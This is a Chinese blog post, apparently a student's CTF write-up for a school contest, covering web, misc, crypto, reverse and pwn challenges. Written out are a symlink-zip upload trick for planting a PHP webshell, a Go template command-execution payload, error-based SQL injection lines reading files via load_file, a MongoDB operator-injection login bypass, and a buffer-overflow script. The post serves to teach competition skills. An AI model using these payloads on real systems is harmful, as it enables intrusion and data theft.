校赛 WriteUp

喜提第四,真的尽力了,半夜看到研究生大哥交了个flag心都凉了,呜呜呜

校赛WP

Web

ezupload

做法和国赛那道一样

先创建一个指向/var/www/html的软链接:

1
ln -s /var/www/html hey

然后再把它压缩,使用-y,这样在压缩的时候可以保存软链接:

1
zip -y hey1.zip hey

然后在hey目录下面写个马,然后再把这个hey目录不带-y的压缩:

1
2
3
4
cd hey
vim 1.php
cd ..
zip -r hey2.zip hey

然后先上传hey1.zip,再上传hey2.zip

这样就能在网站目录访问到1.php了

ezgo

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package main

import (
"fmt"
"html/template"
"net/http"
"os/exec"
)

type Dalao struct {
Name string
Func string
showtime string
}

func (D *Dalao) Exec(cmd string, arg ...string) string {
fmt.Println(cmd)
out := exec.Command(cmd, arg...)
// out, _ := exec.Command(cmd, arg...).CombinedOutput()
fmt.Println(out)
//return string(out)
return ""
}
func Test(w http.ResponseWriter, r *http.Request) {
yyz := &Dalao{"yyz", "do everything by Exec", "printenv"}
value := r.URL.Query()
name := value.Get("name")
tpl1 := fmt.Sprintf(`I'm {{.Name}},i can {{.Func}},what is your name?` + "\n\t" + `I'm ` + name + `,please dalao daidai me`)
fmt.Println(name)
t := yyz.Exec(name)
fmt.Println(t)
html, err := template.New(t).Parse(tpl1)
html = template.Must(html, err)
html.Execute(w, yyz)
}

func main() {
fmt.Println("success")
server := http.Server{
Addr: "0.0.0.0:8081",
}
http.HandleFunc("/", Test)
server.ListenAndServe()
}

go的ssti+命令执行,详细可以看https://tyskill.github.io/posts/gossti/

有个命令执行函数

1
2
3
4
5
6
7
8
func (D *Dalao) Exec(cmd string, arg ...string) string {
fmt.Println(cmd)
out := exec.Command(cmd, arg...)
// out, _ := exec.Command(cmd, arg...).CombinedOutput()
fmt.Println(out)
//return string(out)
return ""
}

通过{{.Exec "whoami"}}来调用,也就是说通过这样就能执行任意命令了{{.Exec "ls""/"}}

但题目已经提示了环境变量;

1
?name={{.Exec "printenv"}}

找到flag

easysql

二次注入

第一步弱密码admin:123456789进后台

创建"*"用户然后查该用户,就可以爆出来全部字段

这是个非预期,嘻嘻嘻

然后用报错+二次直接读文件

同样的,先创建用户,然后直接查该用户

1
username=a' and updatexml(1,concat(0x7e,load_file("/var/lib/mysql-files/flag")),2)#

1
username=a' and updatexml(1,concat(0x7e,mid(load_file("/var/lib/mysql-files/flag"),20,50)),2)#

又是非预期,海燕学长出的题,狠狠给他非预期了

他说预期解是mysql8的特性(8.0.19-8.0.21 )的新语法,又学到了,具体可以看下面这个文章

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

【网安干货】MySQL8新特性注入技巧 - 掘金 (juejin.cn)

k8s[复现]

你的目标: 找到网站web目录下的flag.txt

hint: longhorn

给了个域名网址,访问,admin/admin通过认证

是个traefik管理面板,看一下Routers

可以看到还有另外两个站点,其中一个应该就是我们要访问的网站

通过扫描发现服务是部署在内网123.123.123.123的直接访问返回404(因为实际没有k8s.io域名),但是通过域名访问可达,说明后台是使用反代通过域名来区分并导向流量的

这时候就需要我们修改host信息:有两种方法,一种是修改本地电脑的host文件,另一种是bp抓包修改host请求头(注意请求ip需要正确)

kubernetes部署traefik_traefik 部署-CSDN博客:可惜当时没看到这篇文章配置,不然就可能做出来了,但是访问这个域名访问不了就没看了,并没去深究

hosts文件位置以及如何修改hosts文件

修改好后就能访问,然后读取网站web目录下的flag.txt了

easy mongo[复现]

hint:

1
2
In [1]: {'a': '1', 'b':'2', 'a': '2'}
Out[1]: {'a': '2', 'b': '2'}

一道nodejs的mongo注入,哎,当时想复杂了。。。但是试了几种嵌套{}都不行,结果以为不行了,一心想着去绕字符串检测了,实际是可以嵌套的,还是太菜了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const express = require("express");
const { MongoClient } = require("mongodb");
const bodyParser = require('body-parser');
const fs = require("fs");
const { init } = require("./init")

init()

const app = express();
const port = 3000;

app.use(bodyParser.text({ type: '*/*' }))

/**
* @param {string} data
* @returns {boolean}
*/
function waf(data) {
if (typeof data === "string" && data.match(/\{"username":"\S*","password":"\S*"\}/)) {
return true
}
return false
}

app.get("/", (req, res) => {
res.setHeader('content-type', 'text/plain');
res.send(fs.readFileSync('src/app.js'))
})

app.post("/login", async (req, res) => {
const client = new MongoClient("mongodb://127.0.0.1:27017/");
const database = client.db("web");
const users = database.collection("users")


if (!waf(req.body)) {
res.statusCode = 400
res.send("Bad Request!")
return;
}

try {
const body = JSON.parse(req.body)
const data = await users.findOne(body)

if (!data) {
res.statusCode = 401
res.send("Username or password is incorrect.",)
return;
}

res.send(process.env.FLAG);
} catch (err) {
res.status(500).send("Internal Server Error!")
} finally {
client.close()
}
});


app.listen(port, () => {
console.log(`Example app listening on port ${port}`);
});

payload

1
{"username":"admin","password":"123","username":{"$ne":"admin"},"password":{"$ne":"1"}}

Misc

快来签到吧

微信关注重邮小帮手,发送:”CQUPT_CTF@2023” 即可拿到 flag 喵

cancanneed日志

url解码一下

不难看出是sql盲注,527是错误的,519是正确的

依次提取,再ascii解密

ezpy

linux打开就行了

1
cat test  

没有行星的行星图片

先gaps拼图

1
gaps run final-puzzlenewcopy.png so.png --generations=20 --population=600 

出图之后lsb隐写

出图后有part1,part2

part2根据hint,可写出go-cid的爆破脚本,写明对应原文长度为4 char

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package main


import (
"fmt"
"github.com/ipfs/go-cid


"
)


const (
// File is the test file
File = "./go.sum"
)


func main() {
chars := []rune("_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}-!@&$*.?")
targetCID := "QmZ9r7oi9qeebtrkEQwVphsJPBHY4hK7XxwvmEpvqfRKXc"


// 生成4个字符组合
for i := 0; i < len(chars); i++ {
for j := 0; j < len(chars); j++ {
for k := 0; k < len(chars); k++ {
for l := 0; l < len(chars); l++ {
// 组合4个字符
combo := []rune{chars[i], chars[j], chars[k], chars[l]}
str := string(combo)

p := cid.Prefix{
Version: 0, // 自定义选择版本 取值0 或者 1
Codec: 0x70, // prtobuf
MhType: 0x12, // sha2-256
MhLength: -1,
}

data := []byte(str)
fcid, err := p.Sum(data)
if err != nil {
panic(err)
}

cStr := fcid.String()
if cStr == targetCID {
fmt.Printf("Found matching text: %s\n", str)
break
}
}
}
}
}



}

跑出原文:Xt_E

观察原文件的文件尾,有多余数据

base一把梭后发现PK头

base58解密写入zip包中,有加密,先判断是否为伪加密

确实是伪加密,解压出txt文件

共10行,每行空格数对应ascii码转回得字符

拼接可得flag

Crypto

factor_n

rsa已知n、c、e

网上找个脚本,把n、c、e直接代进去就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flag import flag
from Crypto.Util.number import *
from sympy import nextprime

p = getStrongPrime(512)
q = nextprime(p)
n = p * q
e = 65537
message = bytes_to_long(flag)
cipher = pow(message, e, n)
print('n = ', n)
print('cipher = ', cipher)
'''
n = 131218645413263355153882609539056016131417346313857164694985244482795553321017628052409848109502464613127315618163239570703997367565089679231386965428337884937201599530967017131631155141474278378404319209291510075037073905863337674016959942427881314862079017726040171724955667479955452318495669802898606424779
cipher = 26956916426221432592724280571104585450884434311786111534684952145936843234803020133270687335772238641092604523138936635434436452351638173961249648611694741353332785924630668149684381852459140144587038595053081706954959823271114216030131967673910349569926570370812503337360887328344577462535615172014761814718
'''

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from gmpy2 import *
from Crypto.Util.number import *

c = 26956916426221432592724280571104585450884434311786111534684952145936843234803020133270687335772238641092604523138936635434436452351638173961249648611694741353332785924630668149684381852459140144587038595053081706954959823271114216030131967673910349569926570370812503337360887328344577462535615172014761814718
n= 131218645413263355153882609539056016131417346313857164694985244482795553321017628052409848109502464613127315618163239570703997367565089679231386965428337884937201599530967017131631155141474278378404319209291510075037073905863337674016959942427881314862079017726040171724955667479955452318495669802898606424779
e = 65537
p = iroot(n,2)[0]-10000
while not isPrime(p) : p += 1
q = p + 2
while not isPrime(q) : q += 2
while p*q - n != 0 :
p = q
q += 2
while not isPrime(q) : q += 2
phin = (q-1)*(p-1)
d = inverse(e,phin)
print(long_to_bytes(pow(c,d,n)))

easy rsa

rsa 已知n、e1、e2、c1、c2 共模攻击,直接搜“rsa 已知n、e1、e2、c1、c2 共模攻击脚本”

网上再找个脚本,直接梭

1
2
3
4
5
n =  21771573145763986592602770379032083953335881170591451856506458203475850760061501118535394226628969985233206059296315911690397347836667434435109128324171686244527439493113628913921158288405405962113186211156289605058124670982341567578373136207921280290259302136189507365520136920490778896968488931992872641915703837639619386467023576355296490879565877868919272582572554187079889340867466956130729909785430806969605114163423948705075380361167434123710376476215494057878669959504750533810625469948018049438195727262527900681777986739626190258525351520693111294032141582558043330909883805722078360776479668626263050107257
e1 = 2333
c1 = 20236046966883937058783469690985064459523608653604242077730309077712343213708072594411849134665100756058475337247046576258036622162836153080862260448206856035081571298027798025219218092729616016112832649003223009582008396361618674229957486122878318610917951839224042162619091237946960797504796837924925913005325521394929001313114912579261745540897387436375321492054424258021943704461925674355738636383485203363032255351579986181828111161007506255968208988937838274770050164858898672801286445162737832043604413194138887628383396744139203064446983608231750963918022516203645174058971109111738021158015757433373385133024
e2 = 23333
c2 = 6779011084709444000496143819941323400160770672277502760200693469032706980665048060226580229701670586715720268883972290812559450469032336591140564934745728565087410641581117106295871580471779988513066651589722679666223471785499023574920861370851134634033122599153917379418763516589657247609393749304100179329236280045191853662255388013102296740109358686468747794584089342640405213985377849932670017523089320821107990149459478331896508167400281136682841812366639930915438292291636873364269715553175650101316042630268609189630892899515328838631591272637235552833389381823999514758765690736631096488417709708893245997369

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import gmpy2
import libnum

n = 21771573145763986592602770379032083953335881170591451856506458203475850760061501118535394226628969985233206059296315911690397347836667434435109128324171686244527439493113628913921158288405405962113186211156289605058124670982341567578373136207921280290259302136189507365520136920490778896968488931992872641915703837639619386467023576355296490879565877868919272582572554187079889340867466956130729909785430806969605114163423948705075380361167434123710376476215494057878669959504750533810625469948018049438195727262527900681777986739626190258525351520693111294032141582558043330909883805722078360776479668626263050107257
e1 = 2333
c1 = 20236046966883937058783469690985064459523608653604242077730309077712343213708072594411849134665100756058475337247046576258036622162836153080862260448206856035081571298027798025219218092729616016112832649003223009582008396361618674229957486122878318610917951839224042162619091237946960797504796837924925913005325521394929001313114912579261745540897387436375321492054424258021943704461925674355738636383485203363032255351579986181828111161007506255968208988937838274770050164858898672801286445162737832043604413194138887628383396744139203064446983608231750963918022516203645174058971109111738021158015757433373385133024
e2 = 23333
c2 = 6779011084709444000496143819941323400160770672277502760200693469032706980665048060226580229701670586715720268883972290812559450469032336591140564934745728565087410641581117106295871580471779988513066651589722679666223471785499023574920861370851134634033122599153917379418763516589657247609393749304100179329236280045191853662255388013102296740109358686468747794584089342640405213985377849932670017523089320821107990149459478331896508167400281136682841812366639930915438292291636873364269715553175650101316042630268609189630892899515328838631591272637235552833389381823999514758765690736631096488417709708893245997369

s, a, b = gmpy2.gcdext(e1, e2)
m = ((pow(c1, a, n) * pow(c2, b, n)) % n)
flag = libnum.n2s(int(m))
print(flag)

factor_2048bits

1
2
3
4
hint = 170021659067442061523756541191993539248601165314725269340063885026090819928194021233489114706002869522375199940625136026822330472394573193982550217044532146962203411567638298486561460035048451998397915884861905155825573014911356931040204843324084786281107112092211904426426572148513199575481399847133231710208
n = 26572534665683235245636883276068606612246011683144885473463339711820331993493357279285848391008791322234296406608539840620252625886064149394162998948970494176467317183311068211754639508369506106626167584042532674048767021259563143175030276397301094824563794971045331643148544039656526615133318494601670688100830427083371422333448416345157657081894568628680132969792458721329931299527818220689347292610785587787837487603664368727957712489422350366840751269348100479824826707549651813948243868760028344290958809882314383956517334878930614926458454637703779278161529934602431923391507121553686269628353968327172758558101
cipher = 6757305476823187630788813544175078002034639295382430908622959031152682951668576844271799811383004513343837564381952708716729553254090143798506889925295074373036913929804491380602451212049174613264171604463300669869149837525862922090696673791849544763152707468306110063163234629066598567091839169641464962113876354673950799668460699078314705550375034690000052853842247971910604379818131880965835942702654798359475442300498917978942357402126717495842970216610908374556549274105304987976888600967085331993375097585293113427600688155704013684617306744103329525203776458981287207246516848585805560812026318668317699834254
e=65537

使用自动化工具 通过factor查询将n分解

直接计算明文并将明文转字符即可

Re

babyre

ida打开F5直接看伪代码

写py

1
2
3
t = "+U+&U[W+os"
for i in t:
print(chr(ord(i)+10) ,end="")

HackMe

hint:这是一个 python 写的可执行文件哦😋

不懂,直接谷歌搜“re py可执行文件逆向”

找了篇文章:https://www.anquanke.com/post/id/170340

使用PyInstaller Extractor来提取可执行文件的资源内容,但是!!!提取文件的时候,需要和编写的python的程序版本一致

不然会报warning

所以,只能一个一个试试,发现是python3.8版本

1
python pyinstallerextractor.py HackMe

如果版本正确,PYZ-00.pyz_extracted里面就会有东西

一堆pyc文件,HackMe.exe_extracted也有个HackMe.pyc文件

在线网站反编译HackMe.pyc,稍微改一下报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8

import os
import functions
flag = [
48,
38,
71,
31,
56,
50,
79,
44,
49,
101,
67,
40,
39,
113,
87,
38,
32,
54,
41,
78,
28,
80,
37,
76,
40,
34,
49,
135,
89,
128,
77,
36,
31,
50,
132,
65,
88,
79,
85,
88,
81,
83,
82,
56,
88,
65,
85,
151]
print('Can you hack me?')
f = input('Input flag:')
ef = functions.xbase64(f)
for i in range(48):
if functions.xor(ef[i], i) != flag[i]:
print('Sry, you fail.')
os.system('pause')
exit()
continue
print('WOW! You really can hack me!')
os.system('pause')


发现需要functions库,而PYZ-00.pyz_extracted文件夹就有functions.pyc文件,反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8

import Hint
s = 'zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210/+'

def xbase64(str1):
bin_str = []
for i in str1:
x = str(bin(ord(i))).replace('0b', '')
bin_str.append('{:0>8}'.format(x))
outputs = ''
nums = 0
if bin_str:
temp_list = bin_str[:3]
if len(temp_list) != 3:
nums = 3 - len(temp_list)
if len(temp_list) < 3:
temp_list += ['00000000']
# continue
temp_str = ''.join(temp_list)
temp_str_list = []
for i in range(0, 4):
temp_str_list.append(int(temp_str[i * 6:(i + 1) * 6], 2))
if nums:
temp_str_list = temp_str_list[0:4 - nums]
for i in temp_str_list:
outputs += s[i]
bin_str = bin_str[3:]
continue
outputs += nums * '='
return outputs


def xor(a, b):
return (ord(a) ^ 250 - b) - 100

这里的Hint也是个需要的库,反编译

1
2
print('Hey, there is nothing here!')
x = 'zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210/+'

是换表base64,和xor

编写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
encrypted_flag = [
48, 38, 71, 31, 56, 50, 79, 44, 49, 101, 67, 40, 39, 113, 87, 38, 32, 54, 41, 78, 28, 80, 37, 76, 40, 34, 49, 135, 89, 128, 77, 36, 31, 50, 132, 65, 88, 79, 85, 88, 81, 83, 82, 56, 88, 65, 85, 151]

# 解密函数
def decrypt_xor(result, b):
return chr((result + 100) ^ 250 - b)

def xbase64_decode(encoded_str, base64_table):
reverse_table = {char: i for i, char in enumerate(base64_table)}

while encoded_str[-1] == '=':
encoded_str = encoded_str[:-1]

bin_str = ''
for char in encoded_str:
bin_str += format(reverse_table[char], '06b')

decoded_str = ''
for i in range(0, len(bin_str), 8):
decoded_str += chr(int(bin_str[i:i + 8], 2))

return decoded_str

# 提供base64映射表
base64_table = 'zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA9876543210/+'

# 解密flag
decrypted_flag = ''
for i in range(len(encrypted_flag)):
decrypted_flag += decrypt_xor(encrypted_flag[i], i)

# 对base64编码进行解码
flag = xbase64_decode(decrypted_flag, base64_table)

print(f"Decrypted flag: {flag}")

运行拿到flag

Pwn

checkin

s1有0x10个字节, 紧接着是s2, 有0x10个字节, 之后的第0xc个字节是v3

需要注意, 如果直接通过溢出s1改变v3,会造成s1与s2的比较不等, 所以要使用\00截断,

payload需要填写31个字节的垃圾数据后截断,然后填写0xc个字节的垃圾数据到达v3的位置, 将v3的值赋值为0即可

1
2
3
4
5
6
7
8
from pwn import *
p=process("./pwn/pwn")

#p = remote("172.20.14.117",59911)
payload= b'a'*31+b'\00'+b'a'*0xc+p64(0)
p.recvuntil("Check in~\n")
p.sendline(payload)
p.interactive()


校赛 WriteUp
https://www.supersmallblack.cn/校赛WP.html
作者
Small Black
发布于
2023年10月23日
许可协议